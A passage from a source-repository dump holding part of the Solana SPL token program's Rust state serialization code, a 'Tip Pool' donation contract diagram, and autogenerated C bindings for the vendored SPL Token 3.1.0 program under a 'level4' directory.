account owner and/or delegate may perform permitted operations 181 | /// on this account 182 | Initialized, 183 | /// Account has been frozen by the mint freeze authority. Neither the account owner nor 184 | /// the delegate are able to perform operations on this account. 185 | Frozen, 186 | } 187 | 188 | impl Default for AccountState { 189 | fn default() -> Self { 190 | AccountState::Uninitialized 191 | } 192 | } 193 | 194 | /// Multisignature data. 195 | #[repr(C)] 196 | #[derive(Clone, Copy, Debug, Default, PartialEq)] 197 | pub struct Multisig { 198 | /// Number of signers required 199 | pub m: u8, 200 | /// Number of valid signers 201 | pub n: u8, 202 | /// Is `true` if this structure has been initialized 203 | pub is_initialized: bool, 204 | /// Signer public keys 205 | pub signers: [Pubkey; MAX_SIGNERS], 206 | } 207 | impl Sealed for Multisig {} 208 | impl IsInitialized for Multisig { 209 | fn is_initialized(&self) -> bool { 210 | self.is_initialized 211 | } 212 | } 213 | impl Pack for Multisig { 214 | const LEN: usize = 355; 215 | fn unpack_from_slice(src: &[u8]) -> Result { 216 | let src = array_ref![src, 0, 355]; 217 | #[allow(clippy::ptr_offset_with_cast)] 218 | let (m, n, is_initialized, signers_flat) = array_refs![src, 1, 1, 1, 32 * MAX_SIGNERS]; 219 | let mut result = Multisig { 220 | m: m[0], 221 | n: n[0], 222 | is_initialized: match is_initialized { 223 | [0] => false, 224 | [1] => true, 225 | _ => return Err(ProgramError::InvalidAccountData), 226 | }, 227 | signers: [Pubkey::new_from_array([0u8; 32]); MAX_SIGNERS], 228 | }; 229 | for (src, dst) in signers_flat.chunks(32).zip(result.signers.iter_mut()) { 230 | *dst = Pubkey::new(src); 231 | } 232 | Ok(result) 233 | } 234 | fn pack_into_slice(&self, dst: &mut [u8]) { 235 | let dst = array_mut_ref![dst, 0, 355]; 236 | #[allow(clippy::ptr_offset_with_cast)] 237 | let (m, n, is_initialized, signers_flat) = mut_array_refs![dst, 1, 1, 1, 32 * MAX_SIGNERS]; 238 | *m = [self.m]; 239 | *n = [self.n]; 240 | *is_initialized = [self.is_initialized as u8]; 241 | for (i, src) in self.signers.iter().enumerate() { 242 | let dst_array = array_mut_ref![signers_flat, 32 * i, 32]; 243 | dst_array.copy_from_slice(src.as_ref()); 244 | } 245 | } 246 | } 247 | 248 | // Helpers 249 | fn pack_coption_key(src: &COption, dst: &mut [u8; 36]) { 250 | let (tag, body) = mut_array_refs![dst, 4, 32]; 251 | match src { 252 | COption::Some(key) => { 253 | *tag = [1, 0, 0, 0]; 254 | body.copy_from_slice(key.as_ref()); 255 | } 256 | COption::None => { 257 | *tag = [0; 4]; 258 | } 259 | } 260 | } 261 | fn unpack_coption_key(src: &[u8; 36]) -> Result, ProgramError> { 262 | let (tag, body) = array_refs![src, 4, 32]; 263 | match *tag { 264 | [0, 0, 0, 0] => Ok(COption::None), 265 | [1, 0, 0, 0] => Ok(COption::Some(Pubkey::new_from_array(*body))), 266 | _ => Err(ProgramError::InvalidAccountData), 267 | } 268 | } 269 | fn pack_coption_u64(src: &COption, dst: &mut [u8; 12]) { 270 | let (tag, body) = mut_array_refs![dst, 4, 8]; 271 | match src { 272 | COption::Some(amount) => { 273 | *tag = [1, 0, 0, 0]; 274 | *body = amount.to_le_bytes(); 275 | } 276 | COption::None => { 277 | *tag = [0; 4]; 278 | } 279 | } 280 | } 281 | fn unpack_coption_u64(src: &[u8; 12]) -> Result, ProgramError> { 282 | let (tag, body) = array_refs![src, 4, 8]; 283 | match *tag { 284 | [0, 0, 0, 0] => Ok(COption::None), 285 | [1, 0, 0, 0] => Ok(COption::Some(u64::from_le_bytes(*body))), 286 | _ => Err(ProgramError::InvalidAccountData), 287 | } 288 | } 289 | -------------------------------------------------------------------------------- /docs/contract3.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 15 | 16 | Tip PoolCreatePoolInitializeUser1User2User3VaultTipWithdraw2.4.1.3.Donations are stored in vaultInitialize contractcreate pool for donationsdonate to poolwithdraw from pool -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/inc/token.h: -------------------------------------------------------------------------------- 1 | /* Autogenerated SPL Token program C Bindings */ 2 | 3 | #pragma once 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | /** 11 | * Minimum number of multisignature signers (min N) 12 | */ 13 | #define Token_MIN_SIGNERS 1 14 | 15 | /** 16 | * Maximum number of multisignature signers (max N) 17 | */ 18 | #define Token_MAX_SIGNERS 11 19 | 20 | /** 21 | * Account state. 22 | */ 23 | enum Token_AccountState 24 | #ifdef __cplusplus 25 | : uint8_t 26 | #endif // __cplusplus 27 | { 28 | /** 29 | * Account is not yet initialized 30 | */ 31 | Token_AccountState_Uninitialized, 32 | /** 33 | * Account is initialized; the account owner and/or delegate may perform permitted operations 34 | * on this account 35 | */ 36 | Token_AccountState_Initialized, 37 | /** 38 | * Account has been frozen by the mint freeze authority. Neither the account owner nor 39 | * the delegate are able to perform operations on this account. 40 | */ 41 | Token_AccountState_Frozen, 42 | }; 43 | #ifndef __cplusplus 44 | typedef uint8_t Token_AccountState; 45 | #endif // __cplusplus 46 | 47 | /** 48 | * Specifies the authority type for SetAuthority instructions 49 | */ 50 | enum Token_AuthorityType 51 | #ifdef __cplusplus 52 | : uint8_t 53 | #endif // __cplusplus 54 | { 55 | /** 56 | * Authority to mint new tokens 57 | */ 58 | Token_AuthorityType_MintTokens, 59 | /** 60 | * Authority to freeze any account associated with the Mint 61 | */ 62 | Token_AuthorityType_FreezeAccount, 63 | /** 64 | * Owner of a given token account 65 | */ 66 | Token_AuthorityType_AccountOwner, 67 | /** 68 | * Authority to close a token account 69 | */ 70 | Token_AuthorityType_CloseAccount, 71 | }; 72 | #ifndef __cplusplus 73 | typedef uint8_t Token_AuthorityType; 74 | #endif // __cplusplus 75 | 76 | typedef uint8_t Token_Pubkey[32]; 77 | 78 | /** 79 | * A C representation of Rust's `std::option::Option` 80 | */ 81 | typedef enum Token_COption_Pubkey_Tag { 82 | /** 83 | * No value 84 | */ 85 | Token_COption_Pubkey_None_Pubkey, 86 | /** 87 | * Some value `T` 88 | */ 89 | Token_COption_Pubkey_Some_Pubkey, 90 | } Token_COption_Pubkey_Tag; 91 | 92 | typedef struct Token_COption_Pubkey { 93 | Token_COption_Pubkey_Tag tag; 94 | union { 95 | struct { 96 | Token_Pubkey some; 97 | }; 98 | }; 99 | } Token_COption_Pubkey; 100 | 101 | /** 102 | * Instructions supported by the token program. 103 | */ 104 | typedef enum Token_TokenInstruction_Tag { 105 | /** 106 | * Initializes a new mint and optionally deposits all the newly minted 107 | * tokens in an account. 108 | * 109 | * The `InitializeMint` instruction requires no signers and MUST be 110 | * included within the same Transaction as the system program's 111 | * `CreateAccount` instruction that creates the account being initialized. 112 | * Otherwise another party can acquire ownership of the uninitialized 113 | * account. 114 | * 115 | * Accounts expected by this instruction: 116 | * 117 | * 0. `[writable]` The mint to initialize. 118 | * 1. `[]` Rent sysvar 119 | * 120 | */ 121 | Token_TokenInstruction_InitializeMint, 122 | /** 123 | * Initializes a new account to hold tokens. If this account is associated 124 | * with the native mint then the token balance of the initialized account 125 | * will be equal to the amount of SOL in the account. If this account is 126 | * associated with another mint, that mint must be initialized before this 127 | * command can succeed. 128 | * 129 | * The `InitializeAccount` instruction requires no signers and MUST be 130 | * included within the same Transaction as the system program's 131 | * `CreateAccount` instruction that creates the account being initialized. 132 | * Otherwise another party can acquire ownership of the uninitialized 133 | * account. 134 | * 135 | * Accounts expected by this instruction: 136 | * 137 | * 0. `[writable]` The account to initialize. 138 | * 1. `[]` The mint this account will be associated with. 139 | * 2. `[]` The new account's owner/multisignature. 140 | * 3. `[]` Rent sysvar 141 | */ 142 | Token_TokenInstruction_InitializeAccount, 143 | /** 144 | * Initializes a multisignature account with N provided signers. 145 | * 146 | * Multisignature accounts can used in place of any single owner/delegate 147 | * accounts in any token instruction that require an owner/delegate to be 148 | * present. The variant field represents the number of signers (M) 149 | * required to validate this multisignature account. 150 | * 151 | * The `InitializeMultisig` instruction requires no signers and MUST be 152 | * included within the same Transaction as the system program's 153 | * `CreateAccount` instruction that creates the account being initialized. 154 | * Otherwise another party can acquire ownership of the uninitialized 155 | * account. 156 | * 157 | * Accounts expected by this instruction: 158 | * 159 | * 0. `[writable]` The multisignature account to initialize. 160 | * 1. `[]` Rent sysvar 161 | * 2. ..2+N. `[]` The signer accounts, must equal to N where 1 <= N <= 162 | * 11. 163 | */ 164 | Token_TokenInstruction_InitializeMultisig, 165 | /** 166 | * Transfers tokens from one account to another either directly or via a 167 | * delegate. If this account is associated with the native mint then equal 168 | * amounts of SOL and Tokens will be transferred to the destination 169 | * account. 170 | * 171 | * Accounts expected by this instruction: 172 | * 173 | * * Single owner/delegate 174 | * 0. `[writable]` The source account. 175 | * 1. `[writable]` The destination account. 176 | * 2. `[signer]` The source account's owner/delegate. 177 | * 178 | * * Multisignature owner/delegate 179 | * 0. `[writable]` The source account. 180 | * 1. `[writable]` The destination account. 181 | * 2. `[]` The source account's multisignature owner/delegate. 182 | * 3. ..3+M `[signer]` M signer accounts. 183 | */ 184 | Token_TokenInstruction_Transfer, 185 | /** 186 | * Approves a delegate. A delegate is given the authority over tokens on 187 | * behalf of the source account's owner. 188 | * 189 | * Accounts expected by this instruction: 190 | * 191 | * * Single owner 192 | * 0. `[writable]` The source account. 193 | * 1. `[]` The delegate. 194 | * 2. `[signer]` The source account owner. 195 | * 196 | * * Multisignature owner 197 | * 0. `[writable]` The source account. 198 | * 1. `[]` The delegate. 199 | * 2. `[]` The source account's multisignature owner. 200 | * 3. ..3+M `[signer]` M signer accounts 201 | */ 202 | Token_TokenInstruction_Approve, 203 | /** 204 | * Revokes the delegate's authority. 205 | * 206 | * Accounts expected by this instruction: 207 | * 208 | * * Single owner 209 | * 0. `[writable]` The source account. 210 | * 1. `[signer]` The source account owner. 211 | * 212 | * * Multisignature owner 213 | * 0. `[writable]` The source account. 214 | * 1. `[]` The source account's multisignature owner. 215 | * 2. ..2+M `[signer]` M signer accounts 216 | */ 217 | Token_TokenInstruction_Revoke, 218 | /** 219 | * Sets a new authority of a mint or account. 220 | * 221 | * Accounts expected by this instruction: 222 | * 223 | * * Single authority 224 | * 0. `[writable]` The mint or account to change the authority of. 225 | * 1. `[signer]` The current authority of the mint or account. 226 | * 227 | * * Multisignature authority 228 | * 0. `[writable]` The mint or account to change the authority of. 229 | * 1. `[]` The mint's or account's current multisignature authority. 230 | * 2. ..2+M `[signer]` M signer accounts 231 | */ 232 | Token_TokenInstruction_SetAuthority, 233 | /** 234 | * Mints new tokens to an account. The native mint does not support 235 | * minting. 236 | * 237 | * Accounts expected by this instruction: 238 | * 239 | * * Single authority 240 | * 0. `[writable]` The mint. 241 | * 1. `[writable]` The account to mint tokens to. 242 | * 2. `[signer]` The mint's minting authority. 243 | * 244 | * * Multisignature authority 245 | * 0. `[writable]` The mint. 246 | * 1. `[writable]` The account to mint tokens to. 247 | * 2. `[]` The mint's multisignature mint-tokens authority. 248 | * 3. ..3+M `[signer]` M signer accounts. 249 | */ 250 | Token_TokenInstruction_MintTo, 251 | /** 252 | * Burns tokens by removing them from an account. `Burn` does not support 253 | * accounts associated with the native mint, use `CloseAccount` instead. 254 | * 255 | * Accounts expected by this instruction: 256 | * 257 | * * Single owner/delegate 258 | * 0. `[writable]` The account to burn from. 259 | * 1. `[writable]` The token mint. 260 | * 2. `[signer]` The account's owner/delegate. 261 | * 262 | * * Multisignature owner/delegate 263 | * 0. `[writable]` The account to burn from. 264 | * 1. `[writable]` The token mint. 265 | * 2. `[]` The account's multisignature owner/delegate. 266 | * 3. ..3+M `[signer]` M signer accounts. 267 | */ 268 | Token_TokenInstruction_Burn, 269 | /** 270 | * Close an account by transferring all its SOL to the destination account. 271 | * Non-native accounts may only be closed if its token amount is zero. 272 | * 273 | * Accounts expected by this instruction: 274 | * 275 | * * Single owner 276 | * 0. `[writable]` The account to close. 277 | * 1. `[writable]` The destination account. 278 | * 2. `[signer]` The account's owner. 279 | * 280 | * * Multisignature owner 281 | * 0. `[writable]` The account to close. 282 | * 1. `[writable]` The destination account. 283 | * 2. `[]` The account's multisignature owner. 284 | * 3. ..3+M `[signer]` M signer accounts. 285 | */ 286 | Token_TokenInstruction_CloseAccount, 287 | /** 288 | * Freeze an Initialized account using the Mint's freeze_authority (if 289 | * set). 290 | * 291 | * Accounts expected by this instruction: 292 | * 293 | * * Single owner 294 | * 0. `[writable]` The account to freeze. 295 | * 1. `[]` The token mint. 296 | * 2. `[signer]` The mint freeze authority. 297 | * 298 | * * Multisignature owner 299 | * 0. `[writable]` The account to freeze. 300 | * 1. `[]` The token mint. 301 | * 2. `[]` The mint's multisignature freeze authority. 302 | * 3. ..3+M `[signer]` M signer accounts. 303 | */ 304 | Token_TokenInstruction_FreezeAccount, 305 | /** 306 | * Thaw a Frozen account using the Mint's freeze_authority (if set). 307 | * 308 | * Accounts expected by this instruction: 309 | * 310 | * * Single owner 311 | * 0. `[writable]` The account to freeze. 312 | * 1. `[]` The token mint. 313 | * 2. `[signer]` The mint freeze authority. 314 | * 315 | * * Multisignature owner 316 | * 0. `[writable]` The account to freeze. 317 | * 1. `[]` The token mint. 318 | * 2. `[]` The mint's multisignature freeze authority. 319 | * 3. ..3+M `[signer]` M signer accounts. 320 | */ 321 | Token_TokenInstruction_ThawAccount, 322 | /** 323 | * Transfers tokens from one account to another either directly or via a 324 | * delegate. If this account is associated with the native mint then equal 325 | * amounts of SOL and Tokens will be transferred to the destination 326 | * account. 327 | * 328 | * This instruction differs from Transfer in that the token mint and 329 | * decimals value is checked by the caller. This may be useful when 330 | * creating transactions offline or within a hardware wallet. 331 | * 332 | * Accounts expected by this instruction: 333 | * 334 | * * Single owner/delegate 335 | * 0. `[writable]` The source account. 336 | * 1. `[]` The token mint. 337 | * 2. `[writable]` The destination account. 338 | * 3. `[signer]` The source account's owner/delegate. 339 | * 340 | * * Multisignature owner/delegate 341 | * 0. `[writable]` The source account. 342 | * 1. `[]` The token mint. 343 | * 2. `[writable]` The destination account. 344 | * 3. `[]` The source account's multisignature owner/delegate. 345 | * 4. ..4+M `[signer]` M signer accounts. 346 | */ 347 | Token_TokenInstruction_TransferChecked, 348 | /** 349 | * Approves a delegate. A delegate is given the authority over tokens on 350 | * behalf of the source account's owner. 351 | * 352 | * This instruction differs from Approve in that the token mint and 353 | * decimals value is checked by the caller. This may be useful when 354 | * creating transactions offline or within a hardware wallet. 355 | * 356 | * Accounts expected by this instruction: 357 | * 358 | * * Single owner 359 | * 0. `[writable]` The source account. 360 | * 1. `[]` The token mint. 361 | * 2. `[]` The delegate. 362 | * 3. `[signer]` The source account owner. 363 | * 364 | * * Multisignature owner 365 | * 0. `[writable]` The source account. 366 | * 1. `[]` The token mint. 367 | * 2. `[]` The delegate. 368 | * 3. `[]` The source account's multisignature owner. 369 | * 4. ..4+M `[signer]` M signer accounts 370 | */ 371 | Token_TokenInstruction_ApproveChecked, 372 | /** 373 | * Mints new tokens to an account. The native mint does not support 374 | * minting. 375 | * 376 | * This instruction differs from MintTo in that the decimals value is 377 | * checked by the caller. This may be useful when creating transactions 378 | * offline or within a hardware wallet. 379 | * 380 | * Accounts expected by this instruction: 381 | * 382 | * * Single authority 383 | * 0. `[writable]` The mint. 384 | * 1. `[writable]` The account to mint tokens to. 385 | * 2. `[signer]` The mint's minting authority. 386 | * 387 | * * Multisignature authority 388 | * 0. `[writable]` The mint. 389 | * 1. `[writable]` The account to mint tokens to. 390 | * 2. `[]` The mint's multisignature mint-tokens authority. 391 | * 3. ..3+M `[signer]` M signer accounts. 392 | */ 393 | Token_TokenInstruction_MintToChecked, 394 | /** 395 | * Burns tokens by removing them from an account. `BurnChecked` does not 396 | * support accounts associated with the native mint, use `CloseAccount` 397 | * instead. 398 | * 399 | * This instruction differs from Burn in that the decimals value is checked 400 | * by the caller. This may be useful when creating transactions offline or 401 | * within a hardware wallet. 402 | * 403 | * Accounts expected by this instruction: 404 | * 405 | * * Single owner/delegate 406 | * 0. `[writable]` The account to burn from. 407 | * 1. `[writable]` The token mint. 408 | * 2. `[signer]` The account's owner/delegate. 409 | * 410 | * * Multisignature owner/delegate 411 | * 0. `[writable]` The account to burn from. 412 | * 1. `[writable]` The token mint. 413 | * 2. `[]` The account's multisignature owner/delegate. 414 | * 3. ..3+M `[signer]` M signer accounts. 415 | */ 416 | Token_TokenInstruction_BurnChecked, 417 | /** 418 | * Like InitializeAccount, but the owner pubkey is passed via instruction data 419 | * rather than the accounts list. This variant may be preferable when using 420 | * Cross Program Invocation from an instruction that does not need the owner's 421 | * `AccountInfo` otherwise. 422 | * 423 | * Accounts expected by this instruction: 424 | * 425 | * 0. `[writable]` The account to initialize. 426 | * 1. `[]` The mint this account will be associated with. 427 | * 3. `[]` Rent sysvar 428 | */ 429 | Token_TokenInstruction_InitializeAccount2, 430 | } Token_TokenInstruction_Tag; 431 | 432 | typedef struct Token_TokenInstruction_Token_InitializeMint_Body { 433 | /** 434 | * Number of base 10 digits to the right of the decimal place. 435 | */ 436 | uint8_t decimals; 437 | /** 438 | * The authority/multisignature to mint tokens. 439 | */ 440 | Token_Pubkey mint_authority; 441 | /** 442 | * The freeze authority/multisignature of the mint. 443 | */ 444 | struct Token_COption_Pubkey freeze_authority; 445 | } Token_TokenInstruction_Token_InitializeMint_Body; 446 | 447 | typedef struct Token_TokenInstruction_Token_InitializeMultisig_Body { 448 | /** 449 | * The number of signers (M) required to validate this multisignature 450 | * account. 451 | */ 452 | uint8_t m; 453 | } Token_TokenInstruction_Token_InitializeMultisig_Body; 454 | 455 | typedef struct Token_TokenInstruction_Token_Transfer_Body { 456 | /** 457 | * The amount of tokens to transfer. 458 | */ 459 | uint64_t amount; 460 | } Token_TokenInstruction_Token_Transfer_Body; 461 | 462 | typedef struct Token_TokenInstruction_Token_Approve_Body { 463 | /** 464 | * The amount of tokens the delegate is approved for. 465 | */ 466 | uint64_t amount; 467 | } Token_TokenInstruction_Token_Approve_Body; 468 | 469 | typedef struct Token_TokenInstruction_Token_SetAuthority_Body { 470 | /** 471 | * The type of authority to update. 472 | */ 473 | Token_AuthorityType authority_type; 474 | /** 475 | * The new authority 476 | */ 477 | struct Token_COption_Pubkey new_authority; 478 | } Token_TokenInstruction_Token_SetAuthority_Body; 479 | 480 | typedef struct Token_TokenInstruction_Token_MintTo_Body { 481 | /** 482 | * The amount of new tokens to mint. 483 | */ 484 | uint64_t amount; 485 | } Token_TokenInstruction_Token_MintTo_Body; 486 | 487 | typedef struct Token_TokenInstruction_Token_Burn_Body { 488 | /** 489 | * The amount of tokens to burn. 490 | */ 491 | uint64_t amount; 492 | } Token_TokenInstruction_Token_Burn_Body; 493 | 494 | typedef struct Token_TokenInstruction_Token_TransferChecked_Body { 495 | /** 496 | * The amount of tokens to transfer. 497 | */ 498 | uint64_t amount; 499 | /** 500 | * Expected number of base 10 digits to the right of the decimal place. 501 | */ 502 | uint8_t decimals; 503 | } Token_TokenInstruction_Token_TransferChecked_Body; 504 | 505 | typedef struct Token_TokenInstruction_Token_ApproveChecked_Body { 506 | /** 507 | * The amount of tokens the delegate is approved for. 508 | */ 509 | uint64_t amount; 510 | /** 511 | * Expected number of base 10 digits to the right of the decimal place. 512 | */ 513 | uint8_t decimals; 514 | } Token_TokenInstruction_Token_ApproveChecked_Body; 515 | 516 | typedef struct Token_TokenInstruction_Token_MintToChecked_Body { 517 | /** 518 | * The amount of new tokens to mint. 519 | */ 520 | uint64_t amount; 521 | /** 522 | * Expected number of base 10 digits to the right of the decimal place. 523 | */ 524 | uint8_t decimals; 525 | } Token_TokenInstruction_Token_MintToChecked_Body; 526 | 527 | typedef struct Token_TokenInstruction_Token_BurnChecked_Body { 528 | /** 529 | * The amount of tokens to burn. 530 | */ 531 | uint64_t amount; 532 | /** 533 | * Expected number of base 10 digits to the right of the decimal place. 534 | */ 535 | uint8_t decimals; 536 | } Token_TokenInstruction_Token_BurnChecked_Body; 537 | 538 | typedef struct Token_TokenInstruction_Token_InitializeAccount2_Body { 539 | /** 540 | * The new account's owner/multisignature. 541 | */ 542 | Token_Pubkey owner; 543 | } Token_TokenInstruction_Token_InitializeAccount2_Body; 544 | 545 | typedef struct Token_TokenInstruction { 546 | Token_TokenInstruction_Tag tag; 547 | union { 548 | Token_TokenInstruction_Token_InitializeMint_Body initialize_mint; 549 | Token_TokenInstruction_Token_InitializeMultisig_Body initialize_multisig; 550 | Token_TokenInstruction_Token_Transfer_Body transfer; 551 | Token_TokenInstruction_Token_Approve_Body approve; 552 | Token_TokenInstruction_Token_SetAuthority_Body set_authority; 553 | Token_TokenInstruction_Token_MintTo_Body mint_to; 554 | Token_TokenInstruction_Token_Burn_Body burn; 555 | Token_TokenInstruction_Token_TransferChecked_Body transfer_checked; 556 | Token_TokenInstruction_Token_ApproveChecked_Body approve_checked; 557 | Token_TokenInstruction_Token_MintToChecked_Body mint_to_checked; 558 | Token_TokenInstruction_Token_BurnChecked_Body burn_checked; 559 | Token_TokenInstruction_Token_InitializeAccount2_Body initialize_account2; 560 | }; 561 | } Token_TokenInstruction; 562 | 563 | /** 564 | * Mint data. 565 | */ 566 | typedef struct Token_Mint { 567 | /** 568 | * Optional authority used to mint new tokens. The mint authority may only be provided during 569 | * mint creation. If no mint authority is present then the mint has a fixed supply and no 570 | * further tokens may be minted. 571 | */ 572 | struct Token_COption_Pubkey mint_authority; 573 | /** 574 | * Total supply of tokens. 575 | */ 576 | uint64_t supply; 577 | /** 578 | * Number of base 10 digits to the right of the decimal place. 579 | */ 580 | uint8_t decimals; 581 | /** 582 | * Is `true` if this structure has been initialized 583 | */ 584 | bool is_initialized; 585 | /** 586 | * Optional authority to freeze token accounts. 587 | */ 588 | struct Token_COption_Pubkey freeze_authority; 589 | } Token_Mint; 590 | 591 | /** 592 | * A C representation of Rust's `std::option::Option` 593 | */ 594 | typedef enum Token_COption_u64_Tag { 595 | /** 596 | * No value 597 | */ 598 | Token_COption_u64_None_u64, 599 | /** 600 | * Some value `T` 601 | */ 602 | Token_COption_u64_Some_u64, 603 | } Token_COption_u64_Tag; 604 | 605 | typedef struct Token_COption_u64 { 606 | Token_COption_u64_Tag tag; 607 | union { 608 | struct { 609 | uint64_t some; 610 | }; 611 | }; 612 | } Token_COption_u64; 613 | 614 | /** 615 | * Account data. 616 | */ 617 | typedef struct Token_Account { 618 | /** 619 | * The mint associated with this account 620 | */ 621 | Token_Pubkey mint; 622 | /** 623 | * The owner of this account. 624 | */ 625 | Token_Pubkey owner; 626 | /** 627 | * The amount of tokens this account holds. 628 | */ 629 | uint64_t amount; 630 | /** 631 | * If `delegate` is `Some` then `delegated_amount` represents 632 | * the amount authorized by the delegate 633 | */ 634 | struct Token_COption_Pubkey delegate; 635 | /** 636 | * The account's state 637 | */ 638 | Token_AccountState state; 639 | /** 640 | * If is_some, this is a native token, and the value logs the rent-exempt reserve. An Account 641 | * is required to be rent-exempt, so the value is used by the Processor to ensure that wrapped 642 | * SOL accounts do not drop below this threshold. 643 | */ 644 | struct Token_COption_u64 is_native; 645 | /** 646 | * The amount delegated 647 | */ 648 | uint64_t delegated_amount; 649 | /** 650 | * Optional authority to close the account. 651 | */ 652 | struct Token_COption_Pubkey close_authority; 653 | } Token_Account; 654 | 655 | /** 656 | * Multisignature data. 657 | */ 658 | typedef struct Token_Multisig { 659 | /** 660 | * Number of signers required 661 | */ 662 | uint8_t m; 663 | /** 664 | * Number of valid signers 665 | */ 666 | uint8_t n; 667 | /** 668 | * Is `true` if this structure has been initialized 669 | */ 670 | bool is_initialized; 671 | /** 672 | * Signer public keys 673 | */ 674 | Token_Pubkey signers[Token_MAX_SIGNERS]; 675 | } Token_Multisig; 676 | --------------------------------------------------------------------------------